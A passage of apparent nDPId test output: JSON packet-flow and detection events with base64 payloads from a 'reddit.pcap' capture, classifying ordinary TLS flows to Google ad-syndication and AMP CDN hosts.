+01148{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9320,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":956668,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDhWZAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGYBu2Ns158Fn1JDgBgB+7CTAAABAQgKuJU7UsLXS74WAwECAAEAAfwDA4K6LYgb9peQAaC+yGKSfQ44ncZ84XdNSq8PqNFo+UyoIJHCilmb8BVAxV8SeOqltgKl5o0ytImnEj4UpvBg7WThACC6uhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAHgAcAAAZdHBjLmdvb2dsZXN5bmRpY2F0aW9uLmNvbQAXAAD\/AQABAAAKAAoACLq6AB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApuroAAQAAHQAgMcGXgSTPtAvtHwaBrppAs1ogUhPlYdie8\/zN2rMve0cALQACAQEAKwALCkpKAwQDAwMCAwEAGwADAgACiooAAQAAFQDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9320,"source":"reddit.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690956,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36966,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"tpc.googlesyndication.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9321,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":957467,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQan0Owi4YaAsmoBJXgA33AAACBAV4AQMDAwQCCArC10u\/uJU7NA=="} +00467{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9322,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":957467,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQaPhCx3meEC1CoBJXgOW1AAACBAV4AQMDAwQCCArC10u+uJU7NA=="} +00454{"flow_id":58,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9323,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":957477,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCQMiACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGoBuxhoCyZ9DsIvgBAB+5HpAAABAQgKuJU7U8LXS78="} +00454{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9324,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":957484,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB5miACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGgBu54QLUL4Qsd6gBAB+2moAAABAQgKuJU7U8LXS74="} +01150{"flow_id":58,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9325,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":957577,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCQMiAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGoBuxhoCyZ9DsIvgBgB+\/1RAAABAQgKuJU7U8LXS78WAwECAAEAAfwDA65NQ9z+8vgCXkINXWcIT6WxgXSerIkD30OtzZ9Uf8RRIDWtk7CyEcZiHB5uWIXfY5Croj84Q3kSS9jhYTHY4t\/XACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAHgAcAAAZdHBjLmdvb2dsZXN5bmRpY2F0aW9uLmNvbQAXAAD\/AQABAAAKAAoACGpqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApamoAAQAAHQAgAZPl\/EpHfkyE8GocRMfQRm6hqCG5SYQknfR1D0l4PTwALQACAQEAKwALCsrKAwQDAwMCAwEAGwADAgACKioAAQAAFQDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9325,"source":"reddit.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690957,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36970,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"tpc.googlesyndication.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01148{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9326,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":957682,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gB5miAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGgBu54QLUL4Qsd6gBgB+673AAABAQgKuJU7U8LXS74WAwECAAEAAfwDA+YyRlzceVtjHpKgho8tByOApAEJPG4M0zvRjAEsHgJBIF8\/qPM2GhQmlTMTYTjE9hyVNZH92oU6Aa5vM+YWAZkYACBqahMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMKCgAAAAAAHgAcAAAZdHBjLmdvb2dsZXN5bmRpY2F0aW9uLmNvbQAXAAD\/AQABAAAKAAoACKqqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApqqoAAQAAHQAgklNVX2zbnVcJGiMo7ZekGZnIRwL3wUnQ0+pmG+dpG2cALQACAQEAKwALCsrKAwQDAwMCAwEAGwADAgACmpoAAQAAFQDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9326,"source":"reddit.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690957,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36968,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"tpc.googlesyndication.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00455{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9329,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":983708,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu21pGefWD3l9PagBALMKz6AAABAQgKwtdL2hrDFro="} +00455{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9342,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":987243,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22KVwltTCUkfqgBALMEDkAAABAQgKwtdL3RrDFrs="} +00455{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9343,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":989609,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1t9dMt7V0gBALMKHqAAABAQgKwtdL3hrDFrs="} +02092{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9344,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":990862,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu21pGefWD3l9PagBgLMNLzAAABAQgKwtdL4BrDFroWAwMAegIAAHYDA36OILDTPGPpThReB3qawdzc+8ModY5sz6dKgAy5UTz7IDI6n9jVTXE+7b4jG8xDV1LuLRTUARgCyh8fXh42V1VjEwEAAC4AMwAkAB0AIKb7TxZlLfXhHxUcpFoHIR+tf8HFJ46mwItrHXJGk604ACsAAgMEFAMDAAEBFwMDHFrW1gBFr+UU\/Gyk71woNE6PnZpc+DzGDmCn9YDCgQj6c\/ucg+bTZrteQFWKBAiAZliV2QbMCrB54l7dza4Cx7\/L7The++JNe1GwdsCw2aQE0Y2A5LCwwQDYd0oIyePfcpL4hs191txSWPssF1q3j++i0mR5CCPSEYT8EE6Evi6ST3gc9KyNYuXrUJf1OGJpBZRuyAUedyp3ZqH\/8xcsDDjTif3U3vfK4fk1IpmQcwTP\/ItmSkN01Y3sBgZZOTmZHtxJ6mFQ5WB41EVRDT1tM+hXYgGHVvC\/hDI8duczVG6PbtSe0MG0uAeE8a74L5psd7N\/x48Y3qdDH05tOlNgBJNT9HPOT4KopAH5LqaDOflG+5NsZKqcMrgtgo8ZCVQbSSSj4ZRPw5dl94ORMafRG\/+8rNew1gaD30iaBr003OVwMY\/DGdJ7Cv4avYCZzjDCDenrG964w1s9dTkUrRdflAOSm9F5jMyPSFY0DxJLbqt8Rqhi4iQVLEYqk66+KvCi88aQrOjt6qbe01oGZMHI5czVuq0L3A86nE5KVdjN1Ch9lbkoHV2aTNOkrGzRO5u7m0kCLkJ598yBxq9fb4bjPaQg1rLkN3kVRnThjpZ1xopWatpTjyWdMmnP2VrgX\/9EpSqGVYvii7zd89rZDs3UQRsRuu7aPoF4wt4Y\/Ybvda2wxjVCivnsXghmah+3pkAZMs3hGXOcrLmatPDASeA5LrmbNlZnZ1Zj2R9R3DO3G4mN5YRHwpPTar8GqtfU2Xo1lXbt4YQTVWRp4IKN0OqkMdkbgWro3LWwdWS4P4FB9GhwRC1cVffKPdaZl3dmVgkQS\/H5seOGdZSSk\/NUw7wYXdzRmEru8uoubkA8RMkZ0vjJT4Z1FSNWKcOLVQXdcafYa2yRfBcnS4Ps+xx8+47aaKKkL1iR1Ckkc3evSt755sQmkDYEqrqPO6cAVAW4wcWUv4gnmf7Sbr7xjTWb9KILBkayyg+qbXI6H+iicAf0gIHJ6HZt7yIeGjxIpEXNE7ZaoPgN6CUPkRb7JCSsXgnV9zzhQkXrxvugVydEgH+YX2zpcvaV6uxBIOrjbBAPRTbTqAe5QBI6Qp1cI0JUQCiq502x7OJ3BxP9W3jy00H\/5IVTEYf7\/n07p\/ijgkT0sx33aHMHskNv5FWC77f7niC8OfVL+Cue+Se3WaBASwC3bnl1F+74N9QWrJMoEwqy0H1Hfe5Fs+gAz1CsC765SqOVxIEtACfxo8LmxZTzdq0HtZo8tKFepVhOZonRc1hZ5b77iZq9E0JNp2LTyUwEiGLX6lhhFEUGFCK6rAR2h1J157aLGvA8oJQCUS8CRGWaW2XIi4cRWFK4ZRGM7uKLQxi\/n7uxf7Ju72YMCl1VibfYg4aE7z\/Lby7d\/Xbiz3Cmbn2T7i3eF1lLX05Y3jBSqexkVg=="} +00861{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9344,"source":"reddit.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291690990,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46806,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02100{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9345,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":990863,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu21pGeghj3l9PagBgLMEM+AAABAQgKwtdL4BrDFrrsGZvVkoIc0Er\/8RjipRfjZvDF0h3tF3mpCYlLlJrDYEwePzIc6hyJN8+HVIc1dprw+b6adnmLa3tAQN213AycU8DBT9IOuUT2wNz3MKxPfUOVWUhd1zjAdp\/K\/jlzSpAmu8ywtQ1YR7+\/oqFgwoht5PennPYM8bMO9xgSYvrU0IDvDwj2BpnPEMuSijQufVIU8+Yg8wFLDKjYf1AEqdhNrUmPEnPv2z5nVHsnK1l32Yz+rJ5f80q0DJJF0BAptctM2uU4sdGV\/lNrOIggivc4uf75AITWbNUSdpzODSAGLhfjB4ElKItij89h2srmQ6duT071vcvvPniOu4nxMr8JpYvhUYrPsEmyMdVAYxRDjPsWrv0dWIhRK7pmIXQ85s\/Lez5nGkA+pkIfFU2lUP3LDLjYW+iACW0vN5W50Nb4d5SoD4HyJJPhc8vhnT1ZDSHuvRg2WkMXCghrU78ZmhVkSTEbpNLLAsY5\/gKYld8H7B23iVMAPq3EKBl6Rb+Ig8S+rYwIJj2JSMtvvCFhl2KK56rVWduMFfB4oE89vj+kpMmQxN2yVAcQqF1NVUbqMLZ+6sD0AuGc9S6PmykJjTJa3O2RP1V4Vptf8jyV7rOPRQLt5a57yUHX7UTNeoBSX1TfqfGvwbq2zE3vrm0WUXn46+zpyuVX5\/CAki3Kd38I0D\/Lkn04GS\/Bu7LjKknhwBjANgnUd4Fde5\/9u1tbY7FyhIsFhIebEkk80JFB3k1k0frr7htOJ1O7UP5CflmQapVm153uJGbXzIlQKZ6HVomFe9w0+Mmu5HzHijjWvo0pw85xQ2q4h+V78Ff3bbfcKdJ\/o6QFU9S3ObXoPK4cqoDzLmDnKqxdSzsn8k2xrq7wzSs9vMXluZA2CvabaNV7FURawEU1MDm5qBGzX6xxwQLMY2Oki3mR9S6S\/iYrnnoQ0S2j5h1lRpxsTG3VMsQHFgLSgdwwgaUzGxq+smzxuavrnXcKUatyE4x5tmmX+E16R+hflMUNPI2OtJzSqTcTOxdoqCWL+pLSCe\/Qf8\/uzNjzGHMsSJF+ShihWP+T7Jx\/WtejT0FMgPRhirrIJChFReWbq9moOT9Mx7hl0sFqfP9qD22NO3Z6eRN9ucZ\/mpylDC3xcPZFpuDxpVspiGV+sFjWlasvju29a7qzKUEL\/E3\/4q261zk9qlSEKkklUto3tH0guV1kN\/cGbcSywhRHnRNRDdxBuXWw05M8xMaqlnffd+A8yLxXYCa5iZ1ismXVxiocoDi3J3+1WNezQfX5T0WhAWJvxfmXNlTTBeiVkON4m44lT55HG4ENeUJDSiRa9aLi0\/ikGuru3XS3Rx747iNBWNYowGWwJn\/ln6VZr0yllTQIhORGTuiBU7dtKkkftsGoh+9nS\/RtIZy2uVVIG9B6FmPXvAXpboHeEhmEDbS\/dVHvoxTR1r79x9XFAzepMeUDsvinNyqK421s2ClSoSY2VHBIGyax4AIhMoHDU\/FeYRUEL894+whHU00wMhuXyJxYTnkN8vVHze0Rj4n0FCZE4YWot0Fow2Kdos\/6hkdpXb999pRERuIfSln+TOjXUeMHhfbCVu+stWl\/sBMukFZ9eQ+rous4uQ=="} +00455{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9346,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":990883,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDDgdACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttYBu\/eX09qRnoIYgBAB9bFSAAABAQgKGsMW38LXS+A="} +00455{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9347,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":990919,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDDgdACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttYBu\/eX09qRnobQgBAB8qydAAABAQgKGsMW38LXS+A="} +02098{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9348,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":990990,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu21pGehtD3l9PagBgLMP\/AAAABAQgKwtdL4BrDFrqLWE8o0Gr8QpVXuT3B4URELZGPuqKvmRbxbszcE6PN3Y6Ik45U7NIjHskG\/0VFVfUr4b2uYwnI55ayXA5knvsvLHjaDF3ttl56Tshpuu1Y4MSUs02vyG+P9a2+sreW46QpfXF4RmpCmHVlvKkovTWvGvAcg5kIhH77qKuhR5B0d424n9zeNg04N6vm+KNx8QIEjpIMB48oo\/ZAXGp2efB1Gg+z2IQrL4X+t+5CEf25R2o9nZFMBJdrx5V\/bLQJmZrTQQHeISLuLPNPB1xbQ26ItzmvYpI8Ga23c31L7j4XehI7wk+qzQlQyHbXjOenZV3vms3I0t0fO7+6KLAV+bgK8tdlDN9NCOO\/zz6GLuLAEK\/j3Rp7kt\/TlLk9vhTXcWCuTOlB3G2frllfT1oDbP2Sz2xpwSUOFbf7KQtJbRfWj5rSHlaAOIEMVkpA78CKODrtlNaBE0aopVRBwcB\/4yPHNzxe0sArGPqFoouILYmkPrhF91ccpbmxtX+f\/IPTxTKEY4zqUf47\/BJMQZpJMLWYAYodVrf3dPbJtaETtREQnS48fTaJpaa3VLcmS7WdRDNwSdIPapasdK944ymLy6ygUHoA6p+xj7tSrAuQ+AH0WdAfD8N3aru7Sn\/uETTxJZvk5hPMwvs2Vvgh1a+jR9tqD1xhirglNAbdEznxMGvYx2C0Z6cdRLefG\/lgQXbtlhKWFBAuHIxBmj+c\/MF8sNfjFhJ9j9kKFryNxveyA2mA2M67QyrrieZmOfGP4HUQzHrDzJYJqO2t0ssxB39kRtqxXIIm2qyWOVYXupEaC5NIKFKleh\/bVpOZpETsi7c4kjlwrlcC3Ddpckbw917NBxPyb8sdlEsrLbolSSSECmgqNBYSE8AnDuhpBcroh8Ki8J\/kadQaksMGaL\/8vImILgZ53RBn\/VT79Tagc1GJAfn4YKZGBwxf4F3ab285kdnNdZbUUW9FJ9AbuhYUI5N0sWt239B2zfjPqphqmtJ8IBC5YbnrTIgBwrOGS38AOGcfrgveQHWVZGIoODFqGorU8ayCILErbEq1ES9gkOgeMa3leRPcI47GCCx+8Mxcvx6rvalUqMXoH5nnmd2tS3SfI+hXuRauo2sidRQW5Eo7GQDUL5gUT5t8PXwd2VMuH7dZbijvI8qtM6\/aKLc+5fHwrdi2nCxBoBLL42MHAxP84kvWS4yImWO0rDXcxeG3JW7HkxhP3eA9UKjvw2fz06wXFk2ZaYl\/K1+efMkXN1gyM7ECqw\/YZRgocVHutlC2efnAWfVZX1ET\/z9HcadKDCcfd4Kj1+\/KPMBDEP3l1d+grvvMnz7aQ2r6V8TI2V37ftd7aOWEyBZ15utsj9g+uf8cDY698tAJJud6ZTMqWdJT1g1KEsl4GGhf\/hCCFVay7SVX9zLhRmbq1Ql7ZLXBaADDU9rID8M8jtEO9zRyhHfZisdKEmphsUGmbeZptGawfksXDDVojo58wh5Dht+KfTVu+uL9Kyb6niGXU2uxHm4pVSGbals8LuQy0Z0tYt5vcqaNpqEJqZw\/HFAYVJkXec9RBfoups0TinL6JO4DV0WrUD2zIulr4POR3CsLUB9Mo6pZ7B0C5qHHSlHyAQ=="} +02102{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9349,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":990991,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu21pGei4j3l9PagBgLMKDjAAABAQgKwtdL4BrDFrp1+EwLaJn\/ssw0OfmOcdP+rHcL18slZ8y2SueDCrBypbunjmImA8u\/kUKid8K6\/VFMDF9DCWfOcAc6dejw+YQXyzQfbZth9mZ05AdcB1AIVljUARaTvrMxopIjVHGm3D5XW3typ3dqSoQ0upYg0B9uPoa0wHz+5UL60p5seDWZI8QKdrQOM+TYjoss2LcveRv2i8iSIKyLdHq9ucvj6uHObNd+XtrMeOt9zvEMU71hOWEdozgEYb8lszUgbyjp+ThyKBiGPzGR1SwUe2kdDbzBT8blpqyvdX4kBwXqxP6MneP71do2LDPLniSYdVHAIarYhb51hcF0CCHA4y\/yi\/V\/+galby8GURWeXKSkdyFG7lSd3AgKPLyu+b5zTwj8nQDbe7gLCU\/EG01AuGPWQNJ5Ss9EU4g+VnKITp+cXspkkDNybzvfC9dB5VMP5J14CsXV9XR5CFm66q77xZCyEePTmwHhiLQxc70ZDAgu1Yofu9wUV9bdyFcwIkbSZ7mg9rIbkbPCqNsbzK5U\/oWiSM9yJ8kwszGHePq2EqloYk\/c\/bYR12S2QLK3DLAfeV905MiHEdtk81VPmPpFGWhipOIAdzFdUOEhHGJNcbk\/HumTAxOU6\/XnIoESwOnuwo5sJfgzBAbWwz68i46Tyf0xWn+Lcfga6a8O4j+C2ArXUIwfqhyFauy3mU8chAffz6ixuCf\/9qvr1iWK+dOziJkiKRih3WqKDJNK8FRYcIrO4tvq8Zq3zjJQULRi+M7C2ySVRXiBhYIdmADfR1+Eyy+LgdEpTGW7Ixk71PRB74HEiOt\/eZhVDCCqrecTonLq0JFjeWTqzx5+kdzuKKJLJIkBMQ+RPUxwLODPSVJ59J9sc20UoGj8DIcwaAZ3ZRz\/kPW8YGrqZ5Y58HK+AxhPK9iP6w93AdphnyvvW\/SFsFEI\/JZzn+cahx6ixDqN9U1vbwwhMrT6l4knfAgXyjsLx5vdPJ02tdOGuVr6OKst9eZx\/hwpZ+Y++DxmxiBJZVMqLpl2iA7fIg345xb5\/PXg\/k7u8x2RI59MXbIioDtRBak7LizzbP+iEEuv7ckzReyVBhji+bwZwhwjPCgBOT\/CG73txGLdypqrhHCA6mDmpWSrNDT5TuDzelovN4ThRRRxM\/u2ABgdctQeVe\/VuL0tnEJgTK5xgMXp0X\/fPYTs5K4KhwCHU6ClfPoCJOpemvKc4H1fp0veWXZpMOEX+PogGwadSxZnjBCZr5SaQ0xZ+1fxBReB6FAZwQuUdP9gfNR5pN7GxQIhT1xdAtm2VICtDET2H8ZZmuOVdvjjmdb8FiHU78u3IA12g0HLICsq9PSyEsbc9MccexjNiOs8E2Nb5TbXUu0ETdMrR5Z\/n6ZkdPVgnh7MbaGeNmoQL6qEpzJnoROllMNpD9JpQWV3PRwL5ipJtoFD9+ehYYSW98wYJagXY8cITL5BMxbE3